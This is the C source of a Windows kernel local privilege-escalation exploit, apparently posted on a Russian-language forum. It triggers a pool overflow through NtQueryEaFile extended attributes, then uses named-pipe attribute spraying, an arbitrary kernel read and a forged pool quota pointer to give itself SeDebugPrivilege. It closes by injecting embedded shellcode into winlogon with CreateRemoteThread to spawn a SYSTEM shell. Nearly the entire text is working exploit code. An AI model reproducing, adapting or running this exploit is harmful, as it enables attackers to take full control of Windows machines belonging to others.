printf("[+] fake eprocess queue pipe is : 0x%llx\n", fake_eprocess_queue_entry);
// the data is at Entry + LEN_OF_PIPE_QUEUE_ENTRY_STRUCT
xploit->fake_eprocess = fake_eprocess_queue_entry + LEN_OF_PIPE_QUEUE_ENTRY_STRUCT;
}
/**
* Alloc a new pipe attribute in the corrupted list.
* This attribute will hold the fake EPROCESS data, since it must be in kernel.
* We must allocate it now because we only know the address of the token now.
**/
void setup_fake_eprocess(xploit_t* xploit)
{
char fake_eprocess_attribute_buf[0x1000] = { 0 };
char fake_eprocess_buf[0x10000] = { 0 };
// strncpy_s(spray_buf, ATTRIBUTE_NAME, ATTRIBUTE_NAME_LEN);
strncpy_s(fake_eprocess_attribute_buf, DUMB_ATTRIBUTE_NAME2, DUMB_ATTRIBUTE_NAME2_LEN);
initFakeEprocess(fake_eprocess_buf, (xploit->self_token + 0x48));
memcpy(fake_eprocess_attribute_buf + DUMB_ATTRIBUTE_NAME2_LEN, fake_eprocess_buf, FAKE_EPROCESS_SIZE);
initFakeEprocess(fake_eprocess_buf, (xploit->self_token + 0x41));
memcpy(fake_eprocess_attribute_buf + DUMB_ATTRIBUTE_NAME2_LEN + FAKE_EPROCESS_SIZE, fake_eprocess_buf, FAKE_EPROCESS_SIZE);
/**
* We can use pipe attribute or pipe queue entry for writing arbitry data in kernel
* and then retrieve the address using the arbitrary read.
* In NonPagedPool Exploit, the pipe queue entry list is corrupted, so we use the
* pipe attribute list
* In PagedPool exploit, the pipe attribute list is corrupted, so we use the pipe queue
* entry list.
**/
pp_alloc_fake_eprocess(xploit, fake_eprocess_attribute_buf);
printf("[+] fake_eprocess is : 0x%llx\n", xploit->fake_eprocess);
printf("[>] Continue? \n");
getchar();
}
void pp_setup_final_write(xploit_t* xploit, char* buffer)
{
/**
* restore list
* ROOT -> GHOST -> ROOT (next chain)
* ROOT <- GHOST <- ROOT (previous chain)
**/
strncpy(buffer, (char*)ATTRIBUTE_NAME, (size_t)ATTRIBUTE_NAME_LEN);
// rebuild the pipe attribute object so it doesn't crash
*(uintptr_t*)((unsigned char*)buffer + xploit->ghost_chunk_offset + 0x10) = xploit->leak_root_attribute; // list.next
*(uintptr_t*)((unsigned char*)buffer + xploit->ghost_chunk_offset + 0x18) = xploit->leak_root_attribute; // list.prev
*(uintptr_t*)((unsigned char*)buffer + xploit->ghost_chunk_offset + 0x20) = (uintptr_t)ATTRIBUTE_NAME; // AttributeName
}
void pp_free_ghost_chunk(xploit_t* xploit)
{
// Set a pipe attribute with only the name delete this attribute
set_pipe_attribute(&xploit->ghosts->pipes[xploit->ghost_idx], (char*)ATTRIBUTE_NAME, ATTRIBUTE_NAME_LEN);
}
BOOL checkPrivilege()
{
PRIVILEGE_SET privSet;
LUID_AND_ATTRIBUTES Privileges[1];
BOOL isPrivilegeSet = FALSE;
HANDLE currentProcessHandle;
HANDLE hTokenHandle;
currentProcessHandle = GetCurrentProcess();
OpenProcessToken(currentProcessHandle, TOKEN_ALL_ACCESS, &hTokenHandle);
if (hTokenHandle == INVALID_HANDLE_VALUE)
{
printf("Failed to retrieve process token handle \n");
return -1;
}
LookupPrivilegeValue(NULL, L"SeDebugPrivilege", &(Privileges[0].Luid));
Privileges[0].Attributes = 0;
privSet.PrivilegeCount = 1;
privSet.Control = PRIVILEGE_SET_ALL_NECESSARY;
memcpy(privSet.Privilege, Privileges, sizeof(Privileges));
PrivilegeCheck(hTokenHandle, &privSet, &isPrivilegeSet);
// while (!isPrivilegeSet)
// {
// TOKEN_PRIVILEGES tp;
// tp.PrivilegeCount = 1;
// printf("Trying to set LUID %d\n", Privileges[0].Luid);
// tp.Privileges[0].Luid = Privileges[0].Luid;
// tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// if ( !AdjustTokenPrivileges(
// hTokenHandle,
// FALSE,
// &tp,
// sizeof(TOKEN_PRIVILEGES),
// (PTOKEN_PRIVILEGES) NULL,
// (PDWORD) NULL) )
// {
// printf("AdjustTokenPrivileges error: %u\n", GetLastError() );
// isPrivilegeSet = FALSE;
// GetPrivilege();
// return FALSE;
// }
// else
// {
// if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
// {
// printf("The token does not have the specified privilege. \n");
// }
// privSet.PrivilegeCount = 1;
// privSet.Control = PRIVILEGE_SET_ALL_NECESSARY;
// memcpy(privSet.Privilege, Privileges, sizeof(Privileges));
// PrivilegeCheck(hTokenHandle, &privSet, &isPrivilegeSet);
// GetPrivilege();
// if (isPrivilegeSet)
// return TRUE;
// puts("Failed to get SeDebugPrivilege ! retrying...");
// getchar();
// }
// }
return (isPrivilegeSet);
}
void free_spray_lfh(xploit_t* xploit)
{
puts("freeing lookaside 1");
getchar();
free_pipes(xploit->lookaside1);
puts("freeing lookaside 2");
getchar();
free_pipes(xploit->lookaside2);
puts("Leaving !!");
getchar();
}
void spawnShell(size_t processID)
{
HANDLE hSystemProcess = INVALID_HANDLE_VALUE;
PVOID pLibRemote;
// DWORD processID;
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
"\x00";
hSystemProcess = OpenProcess(GENERIC_ALL, 0, processID);
if (hSystemProcess == INVALID_HANDLE_VALUE || hSystemProcess == (HANDLE)0)
{
printf("[-] Couldn't open system process...\n");
exit(1);
}
printf("[+]Got a handle on a system Process: %08p\n", hSystemProcess);
pLibRemote = VirtualAllocEx(hSystemProcess, NULL, sizeof(shellcode) * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pLibRemote)
{
printf("[-]Virtual alloc failed !\n");
exit(0);
}
printf("[+]Allocation in system process succeded with address %08p\n", pLibRemote);
if (!WriteProcessMemory(hSystemProcess, pLibRemote, shellcode, sizeof(shellcode), NULL))
{
printf("[-]WriteProcessMemory failed !\n");
exit(1);
}
HANDLE hThread = CreateRemoteThread(hSystemProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLibRemote, NULL, 0, NULL);
printf("[+]Writing in system process succeded\n");
if (hThread == NULL) {
printf("[-]CreateRemoteThread failed !\n");
exit(1);
}
else
printf("[+]Remote thread created !\n");
CloseHandle(hSystemProcess);
}
int main() {
// Load ntdll.dll and get the addresses of the functions
HMODULE ntdll = LoadLibraryA("ntdll.dll");
if (!ntdll) {
printf("Error loading ntdll.dll\n");
return 1;
}
NtSetEaFile_t NtSetEaFile = (NtSetEaFile_t)GetProcAddress(ntdll, "NtSetEaFile");
NtQueryEaFile_t NtQueryEaFile = (NtQueryEaFile_t)GetProcAddress(ntdll, "NtQueryEaFile");
NtFsControlFile = (NtFsControlFile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtFsControlFile");
if (!NtFsControlFile) {
return 1;
}
if (!NtSetEaFile || !NtQueryEaFile) {
printf("Error finding NtSetEaFile or NtQueryEaFile\n");
return 1;
}
// File to set/query extended attributes
const char* fileName = "example.txt";
hFile = CreateFileA(fileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Error opening file: %lu\n", GetLastError());
return 1;
}
set_extended_attributes(NtSetEaFile);
//printf("[>] Continue to do a NtQueryEaFile? > ");
//getchar();
// spray
// just spray for now and let's see
char spray_buf[0x1000];
char respray_buf[0x1000];
char rewrite_buf[0x1000];
char final_write_buf[0x1000];
xploit_t xploit;
memset(&xploit, 0x00, sizeof(xploit_t));
// fake pipe attribute is the pipe attribute we put in userland to get arbitrary read
xploit.fake_pipe_attribute = (pipe_attribute_t*)malloc(sizeof(pipe_attribute_t));
xploit.fake_pipe_attribute->list.Flink = (LIST_ENTRY*)0xDEADDEADCAFE0000;
xploit.fake_pipe_attribute->list.Blink = (LIST_ENTRY*)0xDEADDEADCAFF0000;
xploit.fake_pipe_attribute->AttributeName = (char*)ATTRIBUTE_NAME;
xploit.fake_pipe_attribute->ValueSize = 0x100;
xploit.fake_pipe_attribute->AttributeValue = (char*)0xDEADBEEFCAFEAAAA;
pipe_queue_entry_sub_t *fake_pipe_queue_sub = (pipe_queue_entry_sub_t*)malloc(sizeof(pipe_queue_entry_sub_t));
memset(fake_pipe_queue_sub, 0, sizeof(pipe_queue_entry_sub_t));
size_t targeted_vuln_size = 0x143;
xploit.ghost_chunk_size = 0x200;
size_t backward_step = targeted_vuln_size - ((LEN_OF_PIPE_ATTRIBUTE_STRUCT - ATTRIBUTE_NAME_LEN + 0xf) & (~0xF));
// buffer for spray attributes
memset(spray_buf, 0x41, 0x1000);
strncpy_s(spray_buf, ATTRIBUTE_NAME, ATTRIBUTE_NAME_LEN);
// buffer for spray after trigger of the free
//
memset(respray_buf, 0x42, 0x1000);
strncpy_s(respray_buf, ATTRIBUTE_NAME, ATTRIBUTE_NAME_LEN);
// buf that will overwrite the ghost chunk then the target attribute
memset(rewrite_buf, 0x61, sizeof(rewrite_buf));
// ghost_chunk_offset is the index in the buffer that will
// contain the pointer of the next chunk in the lookaside list
// pointer at this place must be zero !!
xploit.ghost_chunk_offset = targeted_vuln_size - backward_step - LEN_OF_PIPE_ATTRIBUTE_STRUCT;
printf("[*] ghost_chunk_offset: %d\n", xploit.ghost_chunk_offset);
*((unsigned char*)respray_buf + xploit.ghost_chunk_offset) = 0; // previous size
*((unsigned char*)respray_buf + xploit.ghost_chunk_offset + 1) = 0; // pool index
*((unsigned char*)respray_buf + xploit.ghost_chunk_offset + 2) = (xploit.ghost_chunk_size + POOL_HEADER_SIZE) / 0x10; // block size
*((unsigned char*)respray_buf + xploit.ghost_chunk_offset + 3) = 0; // pool type
memcpy((unsigned char*)respray_buf + xploit.ghost_chunk_offset + 4, "\xAf\xff\xff\xff", 4);
// buffer for the target attribute that will be overwritten
memset(attribute, 0x43, 0x1000);
strncpy_s(attribute, ATTRIBUTE_NAME, ATTRIBUTE_NAME_LEN);
char* ghost_attribute_buf = (char*)malloc(0x10000);
for (int i = 0x00; i < 0x10000; i += 0x1000) {
memcpy((ghost_attribute_buf + i), attribute, 0x1000);
}
// the pipe for ghosts need to be big enough to contain the FAKE EPROCESS
xploit.ghosts = prepare_pipes(1, 0x10000, ghost_attribute_buf);
xploit.ghost_idx = 0;
ppipe_spray_t spray1 = prepare_pipes(30 * 0x80, targeted_vuln_size + POOL_HEADER_SIZE, spray_buf);
ppipe_spray_t drain1 = prepare_pipes(0x20000, targeted_vuln_size + POOL_HEADER_SIZE, spray_buf);
xploit.respray = prepare_pipes(60 * 0x80, targeted_vuln_size + POOL_HEADER_SIZE, respray_buf);
xploit.lookaside1 = prepare_pipes(0x80 + 0x20, xploit.ghost_chunk_size + POOL_HEADER_SIZE, spray_buf);
xploit.lookaside2 = prepare_pipes(0x80 + 0x20, xploit.ghost_chunk_size + POOL_HEADER_SIZE, spray_buf);
// drain
spray_pipes(drain1);
// spray
spray_pipes(spray1);
// Create gaps
free_third_pipes(spray1, 0);
//getchar();
//printf("[>] Trigger vuln?\n");
//printf("[*] Sleeping for one second before triggering bug, seems to help exploit stability.\n");
//Sleep(1000);
// trigger vuln
query_extended_attributes(NtQueryEaFile);
char leak[0x1000];
// do respray to re-allocate into the previous vuln object's place
spray_pipes(xploit.respray);
spray_pipes(xploit.lookaside1);
Sleep(2000);
spray_pipes(xploit.lookaside2);
Sleep(1000);
free_pipes(spray1);
//free_pipes(drain1);
printf("[+] Alloc ghost !\n");
//xploit->alloc_ghost_chunk(xploit, attribute);
set_pipe_attribute(&xploit.ghosts->pipes[xploit.ghost_idx], attribute, xploit.ghost_chunk_size - LEN_OF_PIPE_ATTRIBUTE_STRUCT);
// get leak
puts("[+] Reading pipes...");
int leaking_pipe_idx = pp_get_leak(&xploit, xploit.respray);
if (leaking_pipe_idx == -1)
return 0;
pp_setup_ghost_overwrite(xploit.fake_pipe_attribute, rewrite_buf);
xploit.rewrite = prepare_pipes(0x80 * 20, targeted_vuln_size + POOL_HEADER_SIZE, rewrite_buf);
/**
* We have leaked some data from the pipe attribute.
* Now, we need to overwrite the ghost attribute to get an arbitrary read
**/
// Free the pipe and realloc to overwrite the target pipe attribute
close_pipe(&xploit.respray->pipes[leaking_pipe_idx]);
spray_pipes(xploit.rewrite);
/**
* If everything went well, we now have a corrupted pipe attribute. The next points
* in userland, on fake_pipe_attribute. We can use this to arbitrary read by getting
* the attribute value of the fake_pipe_attribute, and setting fake_pipe_attribute->AttributeValue
* to arbitrary location.
*
*
* The linked list is now corrupted:
*
* ROOT -> VULN -> FAKE -> 0xDEADDEADCAFE0000 (next chain)
* 0xDEADBEEFCAFEB00B <- VULN <- ROOT (previous chain)
*
**/
if (find_kernel_base(&xploit) != 1)
goto leave;
pp_exploit_arbitrary_read(&xploit, xploit.kernel_base + NT_POOLQUOTACOOKIE_OFFSET, (char*)&xploit.ExpPoolQuotaCookie, 0x8);
printf("[+] ExpPoolQuotaCookie is : 0x%llx\n", xploit.ExpPoolQuotaCookie);
printf("[>] find_self_eprocess next...\n");
getchar();
/**
* We have ntoskrnl leak, we can read the cookie and get the PsInitialSystemProcess
* Then, run through the process list to find our EPROCESS structure.
**/
if (!find_self_eprocess(&xploit))
goto leave;
// From EPROCESS structure, find self token
pp_exploit_arbitrary_read(&xploit, xploit.self_eprocess + EPROCESS_TOKEN_OFFSET, (char*)&xploit.self_token, 0x8);
// The pointer is encoded
xploit.self_token = xploit.self_token & (~0xF);
printf("[+] self_token is : 0x%llx\n", xploit.self_token);
// puts("Setup fake eprocess ? !");
// getchar();
setup_fake_eprocess(&xploit);
/**
* Final step, we will free again our spray and realloc it to overwrite the ghost chunk.
* This time, the goal is to create a new POOL_HEADER for ghost chunk, and to fix the linked
* list of the pipe attribute, so we can the ghost chunk and trigger an arbitrary decrement.
*
* We will decrement the Token->Privileges->Enabled bitfield AND
* the Token->Privileges->Present bitfield, that will gives us SeDebugPrivilege.
**/
memset(final_write_buf, 0x46, sizeof(final_write_buf));
*((unsigned char*)final_write_buf + xploit.ghost_chunk_offset) = 0; // previous size
*((unsigned char*)final_write_buf + xploit.ghost_chunk_offset + 1) = 0; // pool index
*((unsigned char*)final_write_buf + xploit.ghost_chunk_offset + 2) = (xploit.ghost_chunk_size + POOL_HEADER_SIZE) / 0x10; // block size
*((unsigned char*)final_write_buf + xploit.ghost_chunk_offset + 3) = 8; // pool type
*(DWORD*)((unsigned char*)final_write_buf + xploit.ghost_chunk_offset + 4) = 0x41424344; // 0xffffff0f; // pool tag
*(uintptr_t*)((unsigned char*)final_write_buf + xploit.ghost_chunk_offset + 8) = (xploit.fake_eprocess + FAKE_EPROCESS_OFFSET) ^ xploit.ExpPoolQuotaCookie ^ xploit.ghost_chunk; // Quota !
pp_setup_final_write(&xploit, final_write_buf);
// free both spray so the page containing our chunk goes in the top allocating pages.
// With VS freeing respray is not allowed, since there is one of it that is
// 1 chunk after the overwritten and thus the freeing could trigger a merge
// and a BSOD
free_pipes(xploit.respray);
xploit.respray = NULL;
free_pipes(xploit.rewrite);
xploit.rewrite = NULL;
xploit.final_write = prepare_pipes(0x80 * 10, targeted_vuln_size + POOL_HEADER_SIZE, final_write_buf);
// spray the final rewrite !
if (!spray_pipes(xploit.final_write))
goto leave;
// The block size will be the number decremented
// we need to decrement of at least 0x810, but try to find a size that is not used as allocation
// to avoid this chunk to be reallocated and do nasty things that would trigger a crash
*((unsigned char*)final_write_buf + xploit.ghost_chunk_offset + 2) = (0xe40) / 0x10; // block size
*(uintptr_t*)((unsigned char*)final_write_buf + xploit.ghost_chunk_offset + 8) = (xploit.fake_eprocess + FAKE_EPROCESS_OFFSET + FAKE_EPROCESS_SIZE) ^ xploit.ExpPoolQuotaCookie ^ xploit.ghost_chunk; // Quota !
xploit.final_write2 = prepare_pipes(0x80 * 20, targeted_vuln_size + POOL_HEADER_SIZE, final_write_buf);
// puts("[+] Ready to try free and arbitrary decrement !");
// getchar();
pp_free_ghost_chunk(&xploit);
//xploit.alloc_ghost_chunk(&xploit, attribute);
set_pipe_attribute(&xploit.ghosts->pipes[xploit.ghost_idx], attribute, xploit.ghost_chunk_size - LEN_OF_PIPE_ATTRIBUTE_STRUCT);
free_pipes(xploit.final_write);
xploit.final_write = NULL;
// spray the final rewrite 2 !
spray_pipes(xploit.final_write2);
// puts("[+] Ready to try free and arbitrary decrement second time !");
// getchar();
pp_free_ghost_chunk(&xploit);
// Check if we got the SeDebugPrivilege !
if (checkPrivilege())
{
// WIN !
printf("[+] Privilege Escalation worked fine ! \n");
spawnShell(xploit.winlogon_pid);
}
else
printf("[-] We still dont have enough privilege, retrying...\n\n");
leave:
//getchar();
free_pipes(drain1);
puts("[+] closing ghost pipe");
free_pipes(xploit.ghosts);
puts("[+] freeing respray");
if (xploit.respray)
free_pipes(xploit.respray);
puts("[+] freeing rewrite");
if (xploit.rewrite)
free_pipes(xploit.rewrite);
puts("[+] freeing final_write");
if (xploit.final_write)
free_pipes(xploit.final_write);
puts("[+] freeing final_write2");
if (xploit.final_write2)
free_pipes(xploit.final_write2);
free_spray_lfh(&xploit);
CloseHandle(hFile);
return 1;
}
Последнее редактирование: